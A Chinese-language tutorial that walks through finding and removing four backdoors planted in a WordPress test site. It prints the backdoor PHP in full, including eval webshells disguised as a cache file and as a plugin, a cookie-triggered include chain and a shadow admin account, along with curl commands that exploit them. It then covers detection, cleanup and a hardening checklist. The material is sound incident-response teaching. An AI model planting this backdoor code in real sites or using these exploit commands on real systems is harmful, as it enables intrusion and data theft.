先说这次怎么跑的
排查类内容有个尴尬:拿生产站练手,一次误删就交代了。这次 WordPress 挂马排查的完整流程,是在一个隔离环境里跑的:独立的 WordPress 测试站(127.0.0.1:8899),注入 4 种典型后门,从发现、定位、清除到验证,完整走了一遍。下面每条命令的输出都是真实执行结果,不是示意图。
为什么要用测试站:真实站点被挂马时,第一原则是不破坏现场,所有排查都应该在副本上进行。用测试站复现,等于把“现场”完整搬到了可控环境里,命令可以放心跑。
一、先认识这次遇到的 4 种后门
测试站里一共埋了 4 种后门,覆盖了实际挂马事件里最常见的形态。做 WordPress 挂马排查之前,先得认识这些后门长什么样,知道敌人长什么样,扫文件的时候才知道往哪看。
1. 伪装成主题缓存文件的 POST webshell
wp-content/themes/twentytwentyfive/cache/db-config.php
<?php
/**
* 数据库缓存配置(自动生成)
*/
$GLOBALS['db_cache_config'] = array( 'host' => '127.0.0.1', ... );
// 缓存刷新接口
if ( isset( $_POST['x'] ) ) {
@eval( base64_decode( $_POST['x'] ) );
}
文件藏在主题目录下的 cache 子目录里,名字和注释都伪装成“自动生成的缓存配置”。攻击者通过 POST 一个 base64 编码的 PHP 代码即可远程执行任意代码。
2. 伪装成插件的 eval 后门
wp-content/plugins/wp-cleaner/wp-cleaner.php
<?php
/**
* Plugin Name: WP Cleaner
* Description: 清理 WordPress 冗余数据、优化数据库性能。
* Version: 2.3.1
*/
/* 缓存加速模块 */
@eval( base64_decode( 'aWYoaXNzZXQoJF9HRVRbJ2MnXSkpe2V2YWwoJF9HRVRbJ2MnXSk7fQ==' ) );
这个文件有完整的插件头注释,出现在后台插件列表里看起来就是一个正常的优化插件。解码后是 if(isset($_GET['c'])){eval($_GET['c']);},GET 传参即可执行任意 PHP。
注意一个细节:正常插件文件开头都会有 if ( ! defined( 'ABSPATH' ) ) { exit; } 守卫,防止被直接 URL 访问。这个“插件”故意把守卫改成了空操作,因为加了守卫,攻击者就无法远程直接访问这个文件了。排查时看到插件文件没有 ABSPATH 守卫,是强信号。
3. uploads 目录里的隐藏文件链
wp-content/uploads/.cache-loader.php
wp-content/uploads/2026/08/.theme-cache.php
两个以点开头的 PHP 文件,伪装成缓存数据。触发链是这样的:主题 functions.php 被追加了一段“性能优化”代码,注册了 init 钩子;init 钩子 include 隐藏文件;隐藏文件检查 Cookie wp_opt,命中就 eval 其中的 base64 内容。不带 Cookie 访问时站点完全正常,这种后门最隐蔽,常规访问根本察觉不到。
4. 数据库里的影子管理员
wp_users 表里多了一个 admin2:
ID | user_login | user_email | user_registered
1 | admin | [email protected] | 2026-08-18 14:31:14
2 | admin2 | [email protected]| 2026-08-18 14:31:14
影子管理员带着 administrator 权限,注册时间戳和 admin 完全一致,这是复制现有用户记录时留下的指纹。
二、WordPress 挂马排查第一步:按时间线找近期文件
不管后门伪装得多像,只要落盘就会留下痕迹。第一步先看最近被修改/新增的 PHP 文件:
$ find wp-content -type f -name "*.php" -newermt "2026-08-18 09:00" -printf "%TY-%Tm-%Td %TH:%TM:%TS %pn" | sort | grep -vE "akismet|patterns"
2026-08-18 10:00:00.0000000000 wp-content/themes/twentytwentyfive/cache/db-config.php
2026-08-18 10:00:00.0000000000 wp-content/uploads/.cache-loader.php
2026-08-18 15:30:42.8947418200 wp-content/plugins/akismet/akismet.php
2026-08-18 15:30:42.8957417970 wp-content/plugins/hello.php
2026-08-18 15:32:54.7287393400 wp-content/themes/twentytwentyfive/functions.php
2026-08-18 15:33:19.6211741900 wp-content/plugins/wp-cleaner/wp-cleaner.php
2026-08-18 15:34:17.2968666180 wp-content/uploads/2026/08/.theme-cache.php
这一眼就能看出问题:正常文件的时间戳是 15:30:42.8947418200 这种带随机纳秒的,而 cache/db-config.php 和 uploads/.cache-loader.php 是 10:00:00.0000000000:整点、纳秒全零。这是 touch -d 伪造时间戳的典型指纹,人工设置的时间永远不会有随机的纳秒部分。
另外两个后门文件(wp-cleaner.php 和 .theme-cache.php)时间戳直接暴露在最近修改列表里,攻击者注入后改了代码,但忘了重新伪装时间。

三、第二步:隐藏文件和陌生目录
时间线锁定目标后,专门扫一遍以点开头的 PHP 文件。WordPress 的正常目录结构里,PHP 文件不会以点开头:
$ find wp-content -name ".*.php"
wp-content/uploads/.cache-loader.php
wp-content/uploads/2026/08/.theme-cache.php
同时核对插件清单和主题目录结构,找不认识的名字:
$ ls wp-content/plugins/
akismet hello.php index.php sqlite-database-integration wp-cleaner
$ find wp-content/themes/twentytwentyfive/ -maxdepth 2 -type d | grep -vE "patterns|assets|styles|templates|parts"
wp-content/themes/twentytwentyfive/cache
两个可疑点:wp-cleaner 不在已知插件清单里(虽然它伪装了插件头);主题目录下多了一个 cache/ 子目录,官方主题的结构里没有这个目录。
四、第三步:代码特征扫描
对 wp-content 做一遍 eval / base64_decode 特征扫描。这一步最大的坑是误报:WordPress 核心代码本身就大量使用 eval 和 base64_decode,必须排除核心文件后再判断:
$ grep -rn --include="*.php" -lE "evals*(|base64_decodes*(" wp-content/ wp-includes/ | grep -v "sqlite-database-integration"
wp-content/themes/twentytwentyfive/cache/db-config.php
wp-content/plugins/wp-cleaner/wp-cleaner.php
wp-content/uploads/.cache-loader.php
wp-includes/IXR/class-IXR-message.php
wp-includes/PHPMailer/PHPMailer.php
wp-includes/class-json.php
wp-includes/load.php
...(其余均为 WP 核心文件的合法使用)
过滤掉 wp-includes 里的核心文件后,wp-content 下命中 eval 的全部是后门。有个经验:后门的 eval 几乎总是和 base64_decode 或字符串拼接一起出现,而核心代码的 eval 上下文清晰(比如 class-json.php 是 JSON 解析器)。如果某个文件同时命中 eval + 不在核心目录 + 不在已知插件清单,基本可以定罪。
五、第四步:核心文件校验
后门 3 的触发链是主题 functions.php 被追加了代码。对比当前文件和原版(从 WordPress 官方安装包解压)的 md5:
$ md5sum wp-content/themes/twentytwentyfive/functions.php /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php
49b742986ec1ff76b8dc921e0b870dfe wp-content/themes/twentytwentyfive/functions.php
222ca2112485b716da4a9bf6dda27add /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php
md5 不一致,直接 diff 看多了什么:
$ diff /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php wp-content/themes/twentytwentyfive/functions.php
159a160,167
>
> /* 性能优化:主题缓存加载 */
> add_action( 'init', function () {
> $cache_file = ABSPATH . 'wp-content/uploads/2026/08/.theme-cache.php';
> if ( is_file( $cache_file ) ) {
> @include $cache_file;
> }
> }, 0 );
文件末尾被追加了 8 行“性能优化”代码,作用是把 uploads 里的隐藏文件挂到 init 钩子上。这就是后门 3 的入口。核心文件校验的关键是有一份可信的原始版本,要么保留安装包,要么部署后用工具记录全站文件哈希,被挂马时才能对比。
六、第五步:数据库用户检查
文件层面扫完,查数据库用户表,找影子管理员:
$ SELECT ID, user_login, user_email, user_registered FROM wp_users;
1 | admin | [email protected] | 2026-08-18 14:31:14
2 | admin2 | [email protected] | 2026-08-18 14:31:14
admin2 的两个疑点:邮箱域名 hackmail.top 是典型的临时邮箱服务商;注册时间与 admin 完全相同(精确到秒),正常注册不可能和另一条记录秒级一致,这是复制用户记录时的指纹。再查它的权限,确认是 administrator:
$ SELECT user_id, meta_key, meta_value FROM wp_usermeta WHERE user_id = 2 AND meta_key LIKE 'wp_%cap%';
2 | wp_capabilities | a:1:{s:13:"administrator";b:1;}
影子管理员实锤。这类账号一般不进后台操作,只留着给攻击者随时回来。
七、验证后门确实可用(攻击者视角)
清除前先确认每个后门都能被远程利用,这决定了清理必须完整,漏一个就白干。三个文件型后门的利用验证:
$ curl -X POST ".../cache/db-config.php" --data-urlencode "x=$(echo -n "echo 'pwned';" | base64 -w0)"
pwned <- POST webshell 执行成功
$ curl ".../wp-cleaner/wp-cleaner.php" --get --data-urlencode "c=echo file_get_contents('/etc/hostname');"
root-powder-2.localdomain <- eval 后门读取服务器文件
$ curl -H "Cookie: wp_opt=$(echo -n "echo 'cookie_ok';" | base64 -w0)" http://127.0.0.1:8899/
cookie_ok <- 隐藏链后门:Cookie 触发,页面正常返回
第三个测试最能说明问题:带 Cookie 时执行了代码,但页面 HTTP 200 正常渲染,不带 Cookie 的访问完全无感。这种后门只靠人工看页面是发现不了的,必须靠文件层面排查。

这里补充一个实战知识点:为什么这些后门用 eval 而不是直接写 system($_GET['c'])?因为生产环境的 PHP 普遍通过 disable_functions 禁用了 system、exec、shell_exec 等执行函数(宝塔面板默认就这么配)。eval 是语言结构,不受 disable_functions 限制,成了攻击者绕过的首选。
八、清除:删文件、恢复、删账号
按排查结果逐项清除。这一阶段的 WordPress 挂马排查,原则是每一项发现都对应一次清理,删完立刻记录,避免漏项。先删 4 个文件型后门,再恢复被污染的 functions.php,最后删影子管理员:
# 删除后门文件
rm -f wp-content/themes/twentytwentyfive/cache/db-config.php
rmdir wp-content/themes/twentytwentyfive/cache
rm -rf wp-content/plugins/wp-cleaner
rm -f wp-content/uploads/.cache-loader.php
rm -f wp-content/uploads/2026/08/.theme-cache.php
# 从原版恢复主题 functions.php
cp /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php
wp-content/themes/twentytwentyfive/functions.php
# 删除影子管理员及其 meta
DELETE FROM wp_users WHERE user_login = 'admin2';
DELETE FROM wp_usermeta WHERE user_id = 2;
生产环境执行时,删除前先把可疑文件整体打包留证(tar czf evidence.tgz 文件列表),后续溯源和报案可能用得上。
九、验证:扫描清零才算完
清除后必须重跑全部排查项,确认没有漏网:
$ find wp-content -name ".*.php" | wc -l
0
$ grep -rn --include="*.php" -lE "evals*(|base64_decodes*(" wp-content/ | grep -v "sqlite-database-integration"
(无输出,wp-content 已无任何 eval 命中)
$ curl -o /dev/null -w "%{http_code}n" ".../cache/db-config.php"
404
$ curl -o /dev/null -w "%{http_code}n" ".../wp-cleaner/wp-cleaner.php"
404
$ curl -o /dev/null -w "%{http_code}n" http://127.0.0.1:8899/
200
$ md5sum wp-content/themes/twentytwentyfive/functions.php /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php
222ca2112485b716da4a9bf6dda27add wp-content/themes/twentytwentyfive/functions.php
222ca2112485b716da4a9bf6dda27add /tmp/wordpress/wp-content/themes/twentytwentyfive/functions.php
四条验证全过:隐藏文件清零、eval 命中清零、后门 URL 全部 404、站点正常、核心文件 md5 与原版一致。到这一步,这次 WordPress 挂马排查才算真正收尾。
十、事后防御清单
清除只是把敌人赶出门,锁门是另一件事。按投入产出排序:
- uploads 目录禁止执行 PHP:Nginx 里对
/wp-content/uploads/配置location ~ .php$ { return 403; },斩断“图片目录藏 webshell”这条路。这是本次 4 种后门里有 3 种依赖的入口。WordPress 官方安全加固文档(Hardening WordPress)也把这条列为基本要求。 - 核对 disable_functions:确认 system、exec、shell_exec、passthru、proc_open 都在禁用列表。eval 拦不住,但能提高攻击成本。
- 全站文件哈希基线:部署后用 md5deep 之类的工具生成基线,配合定时任务比对,新增/修改文件秒级暴露。配合本机监控,隐藏文件也逃不掉。
- 账号审计:定期查 wp_users,重点看邮箱域名(临时邮箱服务商名单)、注册时间与管理员重合的记录。
- 主题和插件保持最新:后门入口绝大多数是已知漏洞的旧版本插件。另外删除不用的主题和插件,减少攻击面。
- 密码和密钥轮换:清除后改所有管理员密码、更新 wp-config.php 里的盐(AUTH_KEY 等)、注销所有会话(wp_users 的 session_tokens 清空)。
安全头配置(CSP、HSTS)能挡掉一部分前端注入类攻击,做法可以参考这篇 WordPress 安全头完整配置;WAF 层面用 Cloudflare WAF 规则把常见扫描流量挡在门外。这两篇和本次排查是同一套纵深防御的不同层。
补一条线索:这篇讲的是中招之后怎么清;攻击还在门外时是什么样子,可以看服务器攻击日志半年复盘:5 万次 XML-RPC 探测与 0 次成功入侵,半年真实日志拆出来的攻击流量画像,看完会对上面这些防御动作为什么值得做有直观概念。两篇合起来是同一件事的两半:门外和门里。
最后说回这次 WordPress 挂马排查本身:整个流程的顺序是有讲究的:先时间线、再隐藏文件、再代码特征、再核心校验、再数据库,文件层面全部过完才碰数据库。倒过来容易打草惊蛇,也容易漏掉藏在文件里的第二层后门。